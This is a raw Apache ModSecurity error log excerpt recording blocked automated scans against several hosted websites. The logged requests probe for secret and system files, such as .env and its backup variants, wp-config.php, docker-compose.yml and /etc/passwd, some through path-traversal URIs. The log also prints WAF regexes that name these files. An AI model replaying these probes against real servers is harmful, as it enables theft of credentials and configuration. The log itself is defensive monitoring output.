18:12:52.824155 2026] [security2:error] [pid 531797:tid 532089] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/web/.env"] [unique_id "ai3yBMTA7b1mZrmcA-86uAAAAm4"] [Sat Jun 13 18:12:52.925011 2026] [security2:error] [pid 531155:tid 531394] [client 103.153.183.69:46002] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/js../config.py"] [unique_id "ai3yBCmiP80klyS0NnoHSQAAAXc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.032240 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.106:64515] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:53.032542 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.106:64515] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:53.055094 2026] [security2:error] [pid 531797:tid 532066] [client 103.153.183.69:45990] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/js../docker-compose.yml"] [unique_id "ai3yBcTA7b1mZrmcA-86wgAAAlg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.080508 2026] [security2:error] [pid 531797:tid 532102] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/src/.env"] [unique_id "ai3yBcTA7b1mZrmcA-86xAAAAns"] [Sat Jun 13 18:12:53.146680 2026] [security2:error] [pid 531797:tid 531924] [remote 17.241.219.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yBcTA7b1mZrmcA-86xwACkzw"] [Sat Jun 13 18:12:53.180493 2026] [security2:error] [pid 531797:tid 532037] [client 103.153.183.69:45984] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/css../etc/passwd"] [unique_id "ai3yBcTA7b1mZrmcA-86yAAAAjw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.207713 2026] [security2:error] [pid 531797:tid 532090] [client 103.153.183.69:45984] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/css../etc/nginx/nginx.conf"] [unique_id "ai3yBcTA7b1mZrmcA-86yQAAAm8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.234788 2026] [security2:error] [pid 531797:tid 532073] [client 103.153.183.69:45984] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/css../.env"] [unique_id "ai3yBcTA7b1mZrmcA-86ygAAAl8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.247312 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.88:37022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:53.247761 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.88:37022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:53.260929 2026] [security2:error] [pid 531797:tid 532082] [client 103.153.183.69:45984] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/css../wp-config.php"] [unique_id "ai3yBcTA7b1mZrmcA-86zAAAAmg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.286752 2026] [security2:error] [pid 531797:tid 532030] [client 103.153.183.69:46022] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/css../config.php"] [unique_id "ai3yBcTA7b1mZrmcA-86zQAAAjU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.319103 2026] [security2:error] [pid 531797:tid 532006] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/server/.env"] [unique_id "ai3yBcTA7b1mZrmcA-860AAAAh4"] [Sat Jun 13 18:12:53.325821 2026] [security2:error] [pid 531155:tid 531314] [client 103.153.183.69:46010] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/css../index.php"] [unique_id "ai3yBSmiP80klyS0NnoHVQAAASc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.355004 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Mg== [Sat Jun 13 18:12:53.355267 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Mg== [Sat Jun 13 18:12:53.479322 2026] [security2:error] [pid 531797:tid 531949] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/supabase/.env"] [unique_id "ai3yBcTA7b1mZrmcA-862wACdlU"] [Sat Jun 13 18:12:53.499153 2026] [security2:error] [pid 531797:tid 532095] [client 103.153.183.69:46036] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.copy"] [unique_id "ai3yBcTA7b1mZrmcA-863wAAAnQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.527831 2026] [security2:error] [pid 531797:tid 532106] [client 103.153.183.69:46036] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.copy"] [unique_id "ai3yBcTA7b1mZrmcA-864AAAAn8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.550922 2026] [security2:error] [pid 531797:tid 532094] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/config/.env"] [unique_id "ai3yBcTA7b1mZrmcA-864QAAAnM"] [Sat Jun 13 18:12:53.556753 2026] [security2:error] [pid 531797:tid 531998] [client 103.153.183.69:46036] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.copy"] [unique_id "ai3yBcTA7b1mZrmcA-864gAAAhY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.584040 2026] [security2:error] [pid 531797:tid 532021] [client 103.153.183.69:46036] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2F.env.copy"] [unique_id "ai3yBcTA7b1mZrmcA-865AAAAi0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.614366 2026] [security2:error] [pid 531797:tid 532074] [client 103.153.183.69:46058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.copy"] [unique_id "ai3yBcTA7b1mZrmcA-866AAAAmA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.620307 2026] [security2:error] [pid 531797:tid 531973] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/.env"] [unique_id "ai3yBcTA7b1mZrmcA-866QACSWw"] [Sat Jun 13 18:12:53.621326 2026] [access_compat:error] [pid 531797:tid 531989] [remote 57.141.14.69:33614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:53.621770 2026] [access_compat:error] [pid 531797:tid 531989] [remote 57.141.14.69:33614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:53.643424 2026] [security2:error] [pid 531797:tid 532078] [client 103.153.183.69:46058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.copy"] [unique_id "ai3yBcTA7b1mZrmcA-866gAAAmQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.648805 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.106:64527] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:53.649261 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.106:64527] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:53.669681 2026] [security2:error] [pid 531797:tid 532061] [client 103.153.183.69:46058] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env.copy%23"] [unique_id "ai3yBcTA7b1mZrmcA-866wAAAlM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.747129 2026] [security2:error] [pid 531797:tid 532034] [client 103.153.183.69:46062] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env.copy"] [unique_id "ai3yBcTA7b1mZrmcA-867QAAAjk"], referer: https://SMARTAGRICO.COM/ [Sat Jun 13 18:12:53.754285 2026] [security2:error] [pid 531797:tid 531928] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/.env"] [unique_id "ai3yBcTA7b1mZrmcA-867gACiEA"] [Sat Jun 13 18:12:53.773229 2026] [security2:error] [pid 531797:tid 532086] [client 103.153.183.69:46044] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env.1"] [unique_id "ai3yBcTA7b1mZrmcA-867wAAAmw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.774879 2026] [security2:error] [pid 531797:tid 532108] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/shared/.env"] [unique_id "ai3yBcTA7b1mZrmcA-868AAAAoE"] [Sat Jun 13 18:12:53.816803 2026] [security2:error] [pid 531797:tid 531942] [remote 17.246.15.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yBcTA7b1mZrmcA-868gACkE4"] [Sat Jun 13 18:12:53.886112 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:53.886558 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:53.888875 2026] [security2:error] [pid 531797:tid 531896] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/app/.env"] [unique_id "ai3yBcTA7b1mZrmcA-86-QACOiA"] [Sat Jun 13 18:12:53.960834 2026] [security2:error] [pid 531797:tid 532050] [client 103.153.183.69:46064] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/images../etc/passwd"] [unique_id "ai3yBcTA7b1mZrmcA-86_QAAAkg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.988301 2026] [security2:error] [pid 531797:tid 532043] [client 103.153.183.69:46064] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/images../etc/nginx/nginx.conf"] [unique_id "ai3yBcTA7b1mZrmcA-86_wAAAkI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:53.997888 2026] [security2:error] [pid 531797:tid 532041] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/public/.env"] [unique_id "ai3yBcTA7b1mZrmcA-87AAAAAkA"] [Sat Jun 13 18:12:54.015451 2026] [security2:error] [pid 531797:tid 532089] [client 103.153.183.69:46064] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/images../.env"] [unique_id "ai3yBsTA7b1mZrmcA-87AgAAAm4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.017081 2026] [security2:error] [pid 531797:tid 532081] [client 103.153.183.69:46030] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.bak"] [unique_id "ai3yBsTA7b1mZrmcA-87AwAAAmc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.022803 2026] [security2:error] [pid 531797:tid 531955] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/system/.env"] [unique_id "ai3yBsTA7b1mZrmcA-87BAACKFs"] [Sat Jun 13 18:12:54.041721 2026] [security2:error] [pid 531797:tid 532124] [client 103.153.183.69:46064] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/images../wp-config.php"] [unique_id "ai3yBsTA7b1mZrmcA-87BQAAAo8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.045420 2026] [security2:error] [pid 531797:tid 532087] [client 